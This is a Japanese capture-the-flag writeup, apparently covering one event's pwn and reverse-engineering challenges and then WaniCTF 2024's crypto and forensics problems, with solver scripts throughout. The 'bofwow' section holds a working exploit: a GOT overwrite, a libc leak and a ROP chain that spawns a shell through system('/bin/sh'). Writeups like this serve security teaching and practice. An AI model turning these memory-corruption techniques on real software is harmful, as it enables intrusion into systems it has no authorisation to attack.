from ptrlib import * process = Socket("***", ***) r = process.recvlineafter('Here is p: ') p, M = r.split(b', and M: ') p = int(p) M = eval(f'list({M.decode()})') phi = p - 1 phi_fact = list(factor(phi)) M = Matrix(GF(p), 5, 5, M) for i in range(100): c = process.recvlineafter('[yoshiking]: my commitment is=') c = eval(f'list({c.decode()})') c = Matrix(GF(p), 5, 5, c) mdet = M.determinant() cdet = c.determinant() # sagemathのdescrete_logがPohlig-Hellmanに対応している r = discrete_log(cdet, mdet, GF(p).order() - 1) process.sendlineafter('[system]: your hand(1-3): ', str((r - 1) % 3 + 1)) process.interactive()
bofwow (Pwn, 22 solves)
bofwwのwin関数無し版。変更点はwin関数の有無だけで、防御機構なども変更なし。
まずは前回と同じ手法で __stack_chk_fail_ のGOTを main に書き換える。これで任意回の任意アドレス書き込みが可能になった。
次にlibc leakを狙う。データポインタを適当なGOTのアドレスに指した std::string 構造体を 0x404000-0x405000 の書き込み可能領域内に作り、バッファーオーバーフローで $rbp をその領域内に持ち込んでlibcのアドレスをリークする。このとき、 __stack_chk_fail_ のGOTを ret; を指すように変更しておき、main 関数の前半部分から脱出できるようにしておく。
このとき、std::string のデストラクタによってデータポインタの先がfreeされてしまうため、読みたいアドレスの直前のアドレスにブロックのサイズを書いておいてエラーを抑制する。
libcがleakできたらROPで system を呼べば良い。ROPのペイロードが入る部分のうち一部は std::string が入っていた部分と重なるため、途中の命令によってペイロードの一部が破壊されてしまうことがある。そのため、add rsp, 0x28; ret; のようなgadgetを使ってROPのペイロードに std::string 用の領域を作る必要がある。
最終的なコードは以下の通り。
from ptrlib import * e = ELF("./bofwow") p = Socket("***", ***) libc = ELF("./libc.so.6") def aaw(addr, value): payload = p64(value) + b'\0' * 0x128 payload += p64(addr) payload += p64(0x500) payload += p64(0x500) p.sendlineafter("What is your first name? ", payload) p.sendlineafter("How old are you? ", 100) # set ret2main hook aaw(e.got('__stack_chk_fail'), e.symbol('main')) addr = 0x404230 # leak target address rbp = 0x404aa8 aaw(addr - 8, 48) aaw(rbp - 0x40, addr) aaw(rbp - 0x38, 8) aaw(rbp, 0x404800) aaw(rbp + 8, e.symbol('main')) # input_person # libc leak payload payload = p64(next(e.gadget('ret;'))) + b'\0' * 0x108 payload += p64(rbp) payload += p64(0x4013e0) # return addr (immediately after input_person) payload += p64(0) payload += p64(0) payload += p64(e.got('__stack_chk_fail')) payload += p64(0x500) payload += p64(0x500) p.sendlineafter("What is your first name? ", payload) p.sendlineafter("How old are you? ", 100) res = u64(p.recvlineafter('Name: ')) ofs = 0x7f690f689000 - 0x7f690faf38f8 libc.base = res + ofs payload = b'\0' * 280 payload += p64(libc.base + 0x45f25) # add rsp, 0x28; ret; payload += p64(0) payload += p64(0) payload += p64(0x404340) # 書き込み先, validなアドレスを適当に指定 payload += p64(0x500) payload += p64(0x500) payload += p64(next(libc.gadget('ret'))) payload += p64(next(libc.gadget('pop rdi; ret'))) payload += p64(next(libc.find('/bin/sh'))) payload += p64(libc.symbol('system')) p.sendlineafter("What is your first name? ", payload) p.sendlineafter("How old are you? ", 100) p.interactive()
書いていて気づいたのだが、別に $rbp を 0x404000 以降の領域に入れる必要はなかった気がする。
結果的にかなり面倒な処理をしてデバッグに時間を浪費しまっていており、反省。
imgchk (Rev, 26 solves)
画像を入力として受け付けるflag checkerが渡され、元画像に載っている（であろう）flagを特定する問題。
まずGhidraで開こうとするが、本体であるはずの flag_checker 関数がうまく読み込まれない。これはプログラムが以下のようにぶつ切りになってしまっていることが原因になっている。
000000000000445f <Cake37>:
445f: 48 8b 45 b0 mov -0x50(%rbp),%rax
4463: 48 89 c7 mov %rax,%rdi
4466: e8 45 fe ff ff call 42b0 <png_create_info_struct@plt>
446b: 48 89 45 b8 mov %rax,-0x48(%rbp)
446f: 48 83 7d b8 00 cmpq $0x0,-0x48(%rbp)
4474: 0f 84 b3 03 00 00 je 482d <Cake290+0x8>
447a: 48 8d 05 02 00 00 00 lea 0x2(%rip),%rax # 4483 <Cake45>
4481: 50 push %rax
4482: c3 ret
0000000000004483 <Cake45>:
4483: 48 8b 45 b0 mov -0x50(%rbp),%rax
4487: ba c8 00 00 00 mov $0xc8,%edx
448c: 48 8b 0d 3d 2b 00 00 mov 0x2b3d(%rip),%rcx # 6fd0 <longjmp@GLIBC_2.2.5>
4493: 48 89 ce mov %rcx,%rsi
4496: 48 89 c7 mov %rax,%rdi
4499: e8 92 fd ff ff call 4230 <png_set_longjmp_fn@plt>
449e: 48 89 c7 mov %rax,%rdi
44a1: e8 da fd ff ff call 4280 <_setjmp@plt>
44a6: f3 0f 1e fa endbr64
44aa: 85 c0 test %eax,%eax
44ac: 0f 85 7e 03 00 00 jne 4830 <Cake290+0xb>
44b2: 48 8d 05 02 00 00 00 lea 0x2(%rip),%rax # 44bb <Cake58>
44b9: 50 push %rax
44ba: c3 ret
適当に眺めたところ難読化処理は lea; push; ret; を挟むもののみなようなので、まずはパッチを当ててこれらの命令を nop の列に置き換える。
また、Cake** の形のシンボルも邪魔なので合わせて消しておく。
パッチ処理のコードはChatGPTに投げるといい感じのものが返ってきたのでそれを使った。
from elftools.elf.elffile import ELFFile from elftools.elf.sections import SymbolTableSection from capstone import Cs, CS_ARCH_X86, CS_MODE_64 def find_instructions(file_path, output_path): with open(file_path, 'rb') as f: elf = ELFFile(f) elf_data = bytearray(open(file_path, 'rb').read()) print(len(elf_data)) for section in elf.iter_sections(): if section['sh_flags'] & 0x4: # 実行可能なセクション code = section.data() start_addr = section['sh_addr'] md = Cs(CS_ARCH_X86, CS_MODE_64) md.detail = True instructions = [] for insn in md.disasm(code, start_addr): instructions.append(insn) # LEA, PUSH, RETの連続をチェック if len(instructions) >= 3: last_three = instructions[-3:] if (last_three[0].mnemonic == 'lea' and last_three[1].mnemonic == 'push' and last_three[2].mnemonic == 'ret'): # 該当する命令列をNOPに書き換え for instr in last_three: nop_count = instr.size for i in range(nop_count): elf_data[instr.address + i] = 0x90 print(f"Patched sequence at 0x{last_three[0].address:x}") for section in elf.iter_sections(): if isinstance(section, SymbolTableSection): for i, symbol in enumerate(section.iter_symbols()): symbol_offset = section['sh_offset'] + i * section['sh_entsize'] if symbol.name.startswith('Cake'): print(f"Found symbol: {symbol.name} at 0x{symbol['st_value']:x}") elf_data[symbol_offset:symbol_offset + 4] = b'\x00' * 4 # 名前のインデックスを無効化 elf_data[symbol_offset + 4:symbol_offset + 8] = b'\x00' * 4 # 値とサイズを無効 with open(output_path, 'wb') as patched_file: patched_file.write(elf_data) if __name__ == "__main__": find_instructions('imgchk', 'imgchk_patched')
パッチを当てたものをGhidraに渡すと無事デコンパイルができた。変数名を適当に書き換えたデコンパイル結果が以下の通り。（一部抜粋）
undefined8 check_flag(char *param_1){ local_20 = *(long *)(in_FS_OFFSET + 0x28); pFVar2 = fopen(param_1,"rb"); if (((pFVar2 != (FILE *)0x0) && (png_read_struct = png_create_read_struct("1.6.37",0,0,0), png_read_struct != 0)) && (png_info_struct = png_create_info_struct(png_read_struct), png_info_struct != 0)) { __env = (__jmp_buf_tag *)png_set_longjmp_fn(png_read_struct,longjmp,200); r = _setjmp(__env); if (r == 0) { png_init_io(png_read_struct,pFVar2); png_read_info(png_read_struct,png_info_struct); r = png_get_image_width(png_read_struct,png_info_struct); c = png_get_image_height(png_read_struct,png_info_struct); if ((r == 0x1e0) && (c == 0x14)) { colortype = png_get_color_type(png_read_struct,png_info_struct); bitdepth = png_get_bit_depth(png_read_struct,png_info_struct); if ((colortype == '\0') && ((bitdepth == '\x01' && (calloc_res = calloc(0x14,8), calloc_res != (void *)0x0)))) { for (i = 0; i < 0x14; i = i + 1) { row_byte = png_get_rowbytes(png_read_struct,png_info_struct); pvVar3 = malloc(row_byte); *(void **)((long)i * 8 + (long)calloc_res) = pvVar3; if (*(long *)((long)calloc_res + (long)i * 8) == 0) goto code_r0x00104849; } png_read_image(png_read_struct,calloc_res); bVar1 = false; for (row = 0; row < 0x1e0; row = row + 1) { memset(mask,0,3); for (col = 0; col < 0x14; col = col + 1) { r = row; if (row < 0) { r = row + 7; } r_shift = (byte)(row >> 0x1f); c = col; if (col < 0) { c = col + 7; } mask[c >> 3] = mask[c >> 3] | (byte)(((int)(uint)*(byte *)((long)(r >> 3) + *(long *)((long)calloc_res + (long)col * 8) ) >> (7 - (((char)row + (r_shift >> 5) & 7) - (r_shift >> 5)) & 0x1f ) & 1U) << ((byte)col & 7)); } MD5(mask,3,mask + 3); r = memcmp(mask + 3,*(void **)(answer + (long)row * 8),0x10); if (r != 0) { bVar1 = true; } } if (!bVar1) { uVar4 = 0; goto LAB_0010484e; } } } } } code_r0x00104849: uVar4 = 0xffffffff; LAB_0010484e: if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) { return uVar4; } __stack_chk_fail(); }
どうやらサイズが 480x20 であり color_type=0 かつ bit_depth=1 の画像が答えらしい。少し調べると、color_type と bit_depth はそれぞれ白黒であることと1ピクセルの色が1bitなことを表していることがわかった。
内部の処理では、各行ごとに3バイトの mask を計算した後、mask のmd5ハッシュがグローバル領域にある answer の各要素と一致していればCorrectが返ってくることがわかる。
このままだと計算過程にmd5の計算が入ってきて扱いづらいので、mask として取り得る値の候補（ 通り）全てに対して事前にmd5ハッシュを計算して
answer の各要素と照合しておく。
こうすることで、各行の mask を特定の値にするような入力画像を生成する問題として解くことができる。
これはバイト列を謎の関数にかけた結果が特定のものになるようなバイト列を生成する問題なので、z3に落としてしまえば簡単に解ける。解が得られたらそれを画像の形式に変換して出力することで、フラグが表示された出力画像が得られた。
from hashlib import md5 from ptrlib import * ans = b'\x04\x50\x10\x00...' file_path = 'imgchk' elf_data = open(file_path, 'rb').read() rows = [bytes([0 for i in range(0x1e0)]) for j in range(0x14)] hash_dict = {} ans_hash = [] for row in range(0x1e0): target = u64(ans[row * 8:row * 8 + 4]) - 0x100000 ans_hash.append(elf_data[target:target+0x10]) if ans_hash[-1] not in hash_dict: hash_dict[ans_hash[-1]] = [] hash_dict[ans_hash[-1]].append(row) # def compute_hash(a, b, c): # byte = bytes([a, b, c]) # hasher = md5.MD5() # hasher.update(byte) # return hasher.digest() # import sys # 予めこれを走らせてhashのリストをfound.txtに出しておく # for a in range(256): # print(a) # for b in range(256): # for c in range(256): # hash = compute_hash(a, b, c) # if hash in hash_dict: # print(f'({[a, b, c]}, {hash})', file=sys.stderr) hash_to_key = {} with open('found.txt', 'r') as f: for line in f: obj = eval(line) hash_to_key[obj[1]] = obj[0] def cut(val: int, start: int): return (val >> start) & 255 from z3 import * mat = [BitVec(f'mat_{i}', 0x1e0) for i in range(0x14)] z = BitVecVal(0x01010101, 8) sol = Solver() for row in range(0x1e0): masks = [0 for i in range(3)] for col in range(0x14): masks[col >> 3] |= ((LShR(Extract((row>>3)*8+7, (row>>3)*8, mat[col]), (7 - (row & 7))) & 1) << (col & 7)) & 255 gts = [BitVecVal(hash_to_key[ans_hash[row]][i], 8) for i in range(3)] for col in range(3): sol += masks[col] == gts[col] print(sol.check()) m = sol.model() mat = [m[mat[i]].as_long() for i in range(0x14)] pixel_data = [[0 for i in range(0x1e0)] for j in range(0x14)] for i in range(0x14): for j in range(0x1e0): pixel_data[i][(j // 8) * 8 + 7 - (j % 8)] = (mat[i] >> j) & 1 from PIL import Image height = len(pixel_data) width = len(pixel_data[0]) img = Image.new('1', (width, height)) for y in range(height): for x in range(width): img.putpixel((x, y), pixel_data[y][x]) img.save('output_image.png')
WaniCTF 2024 writeup
2024/6/21-2024/6/23に開催された WaniCTF 2024 にチーム Seikatsukowareu2 で参加した。5503点で7位。
初心者・中級者向けコンテストと銘打たれていることやGoogleCTFと被っているなどの都合で強い人の参加は少なかった気がするが、いい順位が取れて嬉しい。
writeupにはチームで解いた問題のうち自分が解法を把握しているものを全て載せており、一部の問題は自力で解いていません。
Crypto
全問解いた。ufは途中で詰まってチームメイトに助けてもらった。
beginners_rsa (Beginner, 121pt, 530solves)
chall.py
from Crypto.Util.number import * p = getPrime(64) q = getPrime(64) r = getPrime(64) s = getPrime(64) a = getPrime(64) n = p*q*r*s*a e = 0x10001 FLAG = b'FLAG{This_is_a_fake_flag}' m = bytes_to_long(FLAG) enc = pow(m, e, n) print(f'n = {n}') print(f'e = {e}') print(f'enc = {enc}')
中途半端に大きい素数の積なので素因数分解が少し難しく、factorコマンドに投げても時間がかかる。 が、FactorDB で調べると素因数分解が載っていて、これを使ってphiを復元すると通る。
solve.py
from Crypto.Util.number import * n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347 e = 65537 enc = 127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265 p = 9953162929836910171 q = 11771834931016130837 r = 12109985960354612149 s = 13079524394617385153 a = 17129880600534041513 n2 = p*q*r*s*a assert n == n2 phi = (p-1)*(q-1)*(r-1)*(s-1)*(a-1) d = inverse(e, phi) m = pow(enc, d, n) print(long_to_bytes(m))
beginners_aes (Beginner, 125pt, 453solves)
chall.py
# https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html from Crypto.Util.Padding import pad from Crypto.Cipher import AES from os import urandom import hashlib key = b'the_enc_key_is_' iv = b'my_great_iv_is_' key += urandom(1) iv += urandom(1) 7 cipher = AES.new(key, AES.MODE_CBC, iv) FLAG = b'FLAG{This_is_a_dummy_flag}' flag_hash = hashlib.sha256(FLAG).hexdigest() msg = pad(FLAG, 16) enc = cipher.encrypt(msg) print(f'enc = {enc}') print(f'flag_hash = {flag_hash}')
AES暗号で、keyとivのうち最後の1バイト以外が既知。 keyとivの組の候補は高々65536通りしかないので全探索ができる。
solve.py
# https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html from Crypto.Util.Padding import pad from Crypto.Cipher import AES from os import urandom import hashlib enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18' flag_hash = '6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e' key = b'the_enc_key_is_' iv = b'my_great_iv_is_' for i in range(256): for j in range(256): key2 = key + i.to_bytes(1, 'big') iv2 = iv + j.to_bytes(1, 'big') cipher = AES.new(key2, AES.MODE_CBC, iv2) res = cipher.decrypt(enc) for k in range(len(res)): res2 = res[:k] if hashlib.sha256(res2).hexdigest() == flag_hash: print(res2)
replacement (Easy, 126pt, 431solves)
chall.py
from secret import cal import hashlib enc = [] for char in cal: x = ord(char) x = hashlib.md5(str(x).encode()).hexdigest() enc.append(int(x, 16)) with open('my_diary_11_8_Wednesday.txt', 'w') as f: f.write(str(enc))
secretにある文章を文字ごとにmd5に変換した結果の配列が渡される。 文章がASCIIだと信じると文字の種類数は高々128種であり、事前に全部の文字のmd5を調べておけば元のテキストが復元できる。
solve.py
import hashlib res = [...] # 長いので省略 d = {} for i in range(128): x = hashlib.md5(str(i).encode()).hexdigest() d[int(x, 16)] = chr(i) for r in res: print(d[r], end='')
Easy calc (Easy, 197pt, 95solves)
chall.py
import os import random from hashlib import md5 from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes, getPrime FLAG = os.getenvb(b"FLAG", b"FAKE{THIS_IS_NOT_THE_FLAG!!!!!!}") def encrypt(m: bytes, key: int) -> bytes: iv = os.urandom(16) key = long_to_bytes(key) key = md5(key).digest() cipher = AES.new(key, AES.MODE_CBC, iv=iv) return iv + cipher.encrypt(m) def f(s, p): u = 0 for i in range(p): u += p - i u *= s u %= p return u p = getPrime(1024) s = random.randint(1, p - 1) A = f(s, p) ciphertext = encrypt(FLAG, s).hex() print(f"{p = }") print(f"{A = }") print(f"{ciphertext = }")
問題文中の は式変形を挟むと
となる。
WolframAlpha に投げたり形式的冪級数の気持ちになって丁寧に式変形をしたりすることで、
が得られる。
ここから が
を取っていることを思い出してさらに式を弄ると、
であり、
から
を求める逆関数が
になることが分かる。
あとはこれをプログラムに落とすとフラグが得られる。
solve.py
import os import random from hashlib import md5 from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes, getPrime FLAG = os.getenvb(b"FLAG", b"FAKE{THIS_IS_NOT_THE_FLAG!!!!!!}") p = 108159532265181242371960862176089900437183046655107822712736597793129430067645352619047923366465213553080964155205008757015024406041606723580700542617009651237415277095236385696694741342539811786180063943404300498027896890240121098409649537982185247548732754713793214557909539077228488668731016501718242238229 A = 60804426023059829529243916100868813693528686280274100232668009387292986893221484159514697867975996653561494260686110180269479231384753818873838897508257692444056934156009244570713404772622837916262561177765724587140931364577707149626116683828625211736898598854127868638686640564102372517526588283709560663960 ciphertext = '9fb749ef7467a5aff04ec5c751e7dceca4f3386987f252a2fc14a8970ff097a81fcb1a8fbe173465eecb74fb1a843383' def decrypt(c: bytes, key: int) -> bytes: iv, c = c[:16], c[16:] key = long_to_bytes(key) key = md5(key).digest() cipher = AES.new(key, AES.MODE_CBC, iv=iv) return cipher.decrypt(c) def inv(x, p): # ivnerse of s / (1 - s) = x / (x + 1) return x * pow(x + 1, -1, p) % p ciphertext = bytes.fromhex(ciphertext) s = inv(A, p) print(decrypt(ciphertext, s))
dance (Normal, 205pt, 85solves)
chall.py:
from mycipher import MyCipher import hashlib import datetime import random isLogged = False current_user = '' d = {} def make_token(data1: str, data2: str): sha256 = hashlib.sha256() sha256.update(data1.encode()) right = sha256.hexdigest()[:20] sha256.update(data2.encode()) left = sha256.hexdigest()[:12] token = left + right return token def main(): print('Welcome to the super secure encryption service!') while True: print('Select an option:') print('1. Register') print('2. Login') print('3. Logout') print('4. Encrypt') print('5. Decrypt') print('6. Exit') choice = input('> ') if choice == '1': Register() elif choice == '2': Login() elif choice == '3': Logout() elif choice == '4': Encrypt() elif choice == '5': print('Goodbye!') break else: print('Invalid choice') def Register(): global d username = input('Enter username: ') if username in d: print('Username already exists') return dt_now = datetime.datetime.now() minutes = dt_now.minute sec = dt_now.second data1 = f'user: {username}, {minutes}:{sec}' data2 = f'{username}'+str(random.randint(0, 10)) d[username] = make_token(data1, data2) print('Registered successfully!') print('Your token is:', d[username]) return def Login(): global isLogged global d global current_user username = input('Enter username: ') if username not in d: print('Username does not exist') return token = input('Enter token: ') if d[username] != token: print('Invalid token') return isLogged = True current_user = username print(f'Logged in successfully! Hi {username}!') return def Logout(): global isLogged global current_user isLogged = False current_user = '' print('Logged out successfully!') return def Encrypt(): global isLogged global current_user if not isLogged: print('You need to login first') return token = d[current_user] sha256 = hashlib.sha256() sha256.update(token.encode()) key = sha256.hexdigest()[:32] nonce = token[:12] cipher = MyCipher(key.encode(), nonce.encode()) plaintext = input('Enter plaintext: ') ciphertext = cipher.encrypt(plaintext.encode()) print('username:', current_user) print('Ciphertext:', ciphertext.hex()) return if __name__ == '__main__': main()
mycipher.py:
from utils import * class MyCipher: def __init__(self, key: bytes, nonce: bytes): self.key = key self.nonce = nonce self.counter = 1 self.state = List[F2_32] def __quarter_round(self, a: F2_32, b: F2_32, c: F2_32, d: F2_32): a += b; d ^= a; d <<= 16 c += d; b ^= c; b <<= 12 a += b; d ^= a; d <<= 8 c += d; b ^= c; b <<= 7 return a, b, c, d def __Qround(self, idx1, idx2, idx3, idx4): self.state[idx1], self.state[idx2], self.state[idx3], self.state[idx4] = \ self.__quarter_round(self.state[idx1], self.state[idx2], self.state[idx3], self.state[idx4]) def __update_state(self): for _ in range(10): self.__Qround(0, 4, 8, 12) self.__Qround(1, 5, 9, 13) self.__Qround(2, 6, 10, 14) self.__Qround(3, 7, 11, 15) self.__Qround(0, 5, 10, 15) self.__Qround(1, 6, 11, 12) self.__Qround(2, 7, 8, 13) self.__Qround(3, 4, 9, 14) def __get_key_stream(self, key: bytes, counter: int, nonce: bytes) -> bytes: constants = [F2_32(x) for x in struct.unpack('<IIII', b'expand 32-byte k')] key = [F2_32(x) for x in struct.unpack('<IIIIIIII', key)] counter = [F2_32(counter)] nonce = [F2_32(x) for x in struct.unpack('<III', nonce)] self.state = constants + key + counter + nonce initial_state = self.state[:] self.__update_state() self.state = [x + y for x, y in zip(self.state, initial_state)] return serialize(self.state) def __xor(self, a: bytes, b: bytes) -> bytes: return bytes([x ^ y for x, y in zip(a, b)]) def encrypt(self, plaintext: bytes) -> bytes: encrypted_message = bytearray(0) for i in range(len(plaintext)//64): key_stream = self.__get_key_stream(self.key, self.counter + i, self.nonce) encrypted_message += self.__xor(plaintext[i*64:(i+1)*64], key_stream) if len(plaintext) % 64 != 0: key_stream = self.__get_key_stream(self.key, self.counter + len(plaintext)//64, self.nonce) encrypted_message += self.__xor(plaintext[(len(plaintext)//64)*64:], key_stream[:len(plaintext) % 64]) return bytes(encrypted_message)
また、これに加えてadminのusernameとciphertextが与えられる。
ソースコードがかなり長いが、Decrypt処理がないこと、ユーザー登録時に make_token によりtokenが生成されていること、その引数が f'user: {username}, {minutes}:{sec}' と f'{username}'+str(random.randint(0, 10)) であることが分かれば良い。
username は既知であり、minutes, sec, random.randint(0,10) は全て全探索しても高々39600通りである。そのため、Decryptさえ書ければ全探索により答えが求まる。
後はDecryptだが、これは中身を一切調べないままGPT-4oに任せてしまった。
話を聞くとEncryptとDecryptの処理が同じでよいことが分かり、実際その通りに処理して全探索すると通る。
solve.py
from mycipher import MyCipher import hashlib import datetime import random isLogged = False current_user = '' d = {} def make_token(data1: str, data2: str): sha256 = hashlib.sha256() sha256.update(data1.encode()) right = sha256.hexdigest()[:20] sha256.update(data2.encode()) left = sha256.hexdigest()[:12] token = left + right return token def main(): username = 'gureisya' ciphertext = '061ff06da6fbf8efcd2ca0c1d3b236aede3f5d4b6e8ea24179' for minute in range(60): for sec in range(60): print(minute, sec) data1 = f'user: {username}, {minute}:{sec}' for i in range(11): data2 = f'{username}{i}' token = make_token(data1, data2) key = hashlib.sha256(token.encode()).hexdigest()[:32] nonce = token[:12] cipher = MyCipher(key.encode(), nonce.encode()) plaintext = cipher.decrypt(bytes.fromhex(ciphertext)) if b'FLAG' in plaintext: print(plaintext) return if __name__ == '__main__': main()
speedy (Hard, 235pt, 60solves)
chall.py
from cipher import MyCipher from Crypto.Util.number import * from Crypto.Util.Padding import * import os s0 = bytes_to_long(os.urandom(8)) # 64bits s1 = bytes_to_long(os.urandom(8)) cipher = MyCipher(s0, s1) secret = b'FLAG{'+b'*'*19+b'}' pt = pad(secret, 8) ct = cipher.encrypt(pt) print(f'ct = {ct}')
cipher.py
from Crypto.Util.number import * from Crypto.Util.Padding import * def mod(x): return x & 0xFFFFFFFFFFFFFFFF def rotl(x, y): x &= 0xFFFFFFFFFFFFFFFF return ((x << y) | (x >> (64 - y))) & 0xFFFFFFFFFFFFFFFF class MyCipher: def __init__(self, s0, s1): self.X = s0 self.Y = s1 self.mod = 0xFFFFFFFFFFFFFFFF self.BLOCK_SIZE = 8 def get_key_stream(self): s0 = self.X s1 = self.Y sum = (s0 + s1) & self.mod s1 ^= s0 key = [] for _ in range(8): key.append(sum & 0xFF) sum >>= 8 self.X = (rotl(s0, 24) ^ s1 ^ (s1 << 16)) & self.mod self.Y = rotl(s1, 37) & self.mod assert self.X == (rotl(s0, 24) ^ s1 ^ mod(s1 << 16)) assert self.Y == rotl(s1, 37) # key = sum return key def encrypt(self, pt: bytes): ct = b'' for i in range(0, len(pt), self.BLOCK_SIZE): ct += long_to_bytes(self.X) key = self.get_key_stream() block = pt[i:i+self.BLOCK_SIZE] ct += bytes([block[j] ^ key[j] for j in range(self.BLOCK_SIZE)]) return ct
s0, s1 という64bit乱数をseedにした暗号化。
暗号化では内部状態として64bitの数値 X, Y が存在しており、8バイト分をまとめて暗号化していること、各暗号化ステップでの X は既知であること、次の状態における X と Y は前の状態からのビット演算やrotateによって定まることが分かる。
また、暗号文は key=X+Y と生テキストのxorによって決まるため、X,Y さえ復元できてしまえば解くことができる。
内部状態の遷移は全てビット演算で決まるため、各段階の内部状態を論理式で記述することができる。
暗号化結果が out.txt の中身と一致するような s0 s1 の組が分かれば良く、これはSMTソルバである z3 に投げると良い。
z3にはBitVecという便利な型があり、これを使うと get_key_stream で行っていた処理をそのまま移植するだけで遷移を論理式に落とすことができる。
ということで、コードを書いてz3に投げると答えが求まる。BitVecの左シフトのデフォルトが算術シフトになっており式が合わず唸っていたが、LShR を使うことで解決した。
solve.py
from Crypto.Util.number import * from Crypto.Util.Padding import * import os def mod(x): return x & 0xFFFFFFFFFFFFFFFF def rotl(x, y): # x &= 0xFFFFFFFFFFFFFFFF return ((x << y) | (x >> (64 - y))) & 0xFFFFFFFFFFFFFFFF def get_key_stream(self): s0 = self.X s1 = self.Y sum = (s0 + s1) & self.mod s1 ^= s0 key = [] for _ in range(8): key.append(sum & 0xFF) sum >>= 8 self.X = (rotl(s0, 24) ^ s1 ^ (s1 << 16)) & self.mod self.Y = rotl(s1, 37) & self.mod assert self.X == (rotl(s0, 24) ^ s1 ^ mod(s1 << 16)) assert self.Y == rotl(s1, 37) # key = sum return key # solver from z3 import * ct = b'"G:F\xfe\x8f\xb0<O\xc0\x91\xc8\xa6\x96\xc5\xf7N\xc7n\xaf8\x1c,\xcb\xebY<z\xd7\xd8\xc0-\x08\x8d\xe9\x9e\xd8\xa51\xa8\xfbp\x8f\xd4\x13\xf5m\x8f\x02\xa3\xa9\x9e\xb7\xbb\xaf\xbd\xb9\xdf&Y3\xf3\x80\xb8' def rotl(x, y): return ((x << y) | LShR(x, (64 - y))) & 0xFFFFFFFFFFFFFFFF # 論理シフト: LShR s0 = BitVec('s0_0', 64) s1 = BitVec('s1_0', 64) exprs = [] Xs = [] Vs = [] for i in range(4): Xs.append(bytes_to_long(ct[i*16:i*16+8])) Vs.append(ct[i*16+8:i*16+16]) sums = [] for i in range(4): exprs.append(Xs[i] == s0) sum = BitVec(f'sum_{i}', 64) sums.append(sum) exprs.append(sum == mod(s0 + s1)) if i != 3: n_s1 = BitVec(f'n_s1_{i}', 64) exprs.append(n_s1 == s1 ^ s0) n_s0 = BitVec(f's0_{i+1}', 64) exprs.append(n_s0 == rotl(s0, 24) ^ n_s1 ^ mod(n_s1 << 16)) s0 = n_s0 s1 = BitVec(f's1_{i+1}', 64) exprs.append(s1 == rotl(n_s1, 37)) s = Solver() s.add(exprs) assert s.check() == sat ans = b'' m = s.model() for i in range(4): sum = m[sums[i]].as_long() key = [] for _ in range(8): key.append(sum & 0xFF) sum >>= 8 ans += bytes([Vs[i][j] ^ key[j] for j in range(len(Vs[i]))]) print(s.model()) print(ans)
Many Xor Shift (Normal, 307pt, 29solves)
chall.py
FLAG = b'FAKE{XXXXXXXXXXXXXXXXXXXXXX}' N = 7 M = 17005450388330379 WORD_SIZE = 32 WORD_MASK = (1 << WORD_SIZE) - 1 def encrypt(m): state = [int.from_bytes(m[i:i+4], 'little') for i in range(0, len(m), 4)] assert len(state) == N def xor_shift(): nonlocal state t = state[0] ^ ((state[0] << 11) & WORD_MASK) for i in range(N-1): state[i] = state[i+1] state[-1] = (state[-1] ^ (state[-1] >> 19)) ^ (t ^ (t >> 8)) for _ in range(M): xor_shift() return state print("N = ", N) print("M = ", M) print("WORD_SIZE = ", WORD_SIZE) print("state = ", encrypt(FLAG))
xorshiftを 回繰り返すことでciphertextを得ており、ciphertext→FLAGを得るような逆操作を行いたい。
xorshiftの処理はmod 2上の行列積で書けることが知られており、xorshiftを 回行った後の処理は行列の
乗との行列積で求まる。
この行列は正則であるため逆行列も求まり、逆行列の
乗を求めてciphertextとの行列積を取ることで答えが復元できる。
solve.sage
import numpy as np import os import sage.all as sage N = 7 M = 17005450388330379 WORD_SIZE = 32 WORD_MASK = (1 << WORD_SIZE) - 1 state = [1927245640, 871031439, 789877080, 4042398809, 3950816575, 2366948739, 935819524] GF2 = sage.GF(2) mat = sage.Matrix(GF2, 224, 224) for i in range(N - 1): for j in range(32): mat[(i + 1) * 32 + j, i * 32 + j] = True for j in range(32): mat[j, 6 * 32 + j] = True if 11 <= j: mat[j - 11, 6 * 32 + j] = True if j < 24: mat[j + 8, 6 * 32 + j] = True if 3 <= j and j < 24: mat[j - 3, 6 * 32 + j] = True mat[6 * 32 + j, 6 * 32 + j] = True if j < 13: mat[6 * 32 + j + 19, 6 * 32 + j] = True inv = mat.inverse() def decrypt(state, M): s = [[state[i] & (1 << j) for j in range(32)] for i in range(N)] s = np.array(s).astype(np.bool_).flatten() s = sage.vector(GF2, s) res = s * (inv ** M) state = [sum([int(res[i * 32 + j]) << j for j in range(32)]) for i in range(N)] m = b''.join([int.to_bytes(state[i], 4, 'big') for i in range(N)]) print(m) decrypt(state, M)
uf (Very Hard, 379pt, 14solves)
chall.py
import os from secrets import randbits from Crypto.Util.number import bytes_to_long FLAG = os.environb.get(b"FLAG", b"FAKE{THIS_IS_DUMMY_FLAG}") m = bytes_to_long(FLAG) assert m.bit_length() >= 512 def encrypt(m: int, n: int = 512) -> int: x = 0 for i in range(n): x <<= 1 x += m * randbits(1) if i >= n // 2: x ^= randbits(1) return x X = [encrypt(m) for _ in range(4)] print(X)
を0,1の二値を取る独立な一様乱数として
を計算し、下位256bitをランダムにしたものが4種渡されるので、そこから
を復元したい。
を1つの512bit整数
だと考えると
であるような
と
の組が与えられると解釈できる。
これはapproximate GCDであり、LLLで解ける。
途中まで += が ^= であると勘違いしており、チームメイトに誤読を指摘してもらった。そのチームメイトが「gcdなら解けるんだけどな～」と言っていたので解法を思いつき、調べると解けることが分かったので彼に実装を押し付けた。自分の実装ではないのでソースコードは無し。
Forensics
全完で、4/6 は自力で解いた。I_wanna_be_a_streamerとmem_searchは考察と詰まった所を載せたらチームメイトが解いてくれた。
tiny_usb (Beginner, 116pt, 731solves)
ISOファイルが渡される。開くと画像があり、画像にフラグが書いてある。
Surveillance_of_sus (Normal, 126pt, 431solves)
Cache_chal.bin が渡されるのでこれを復元したい。
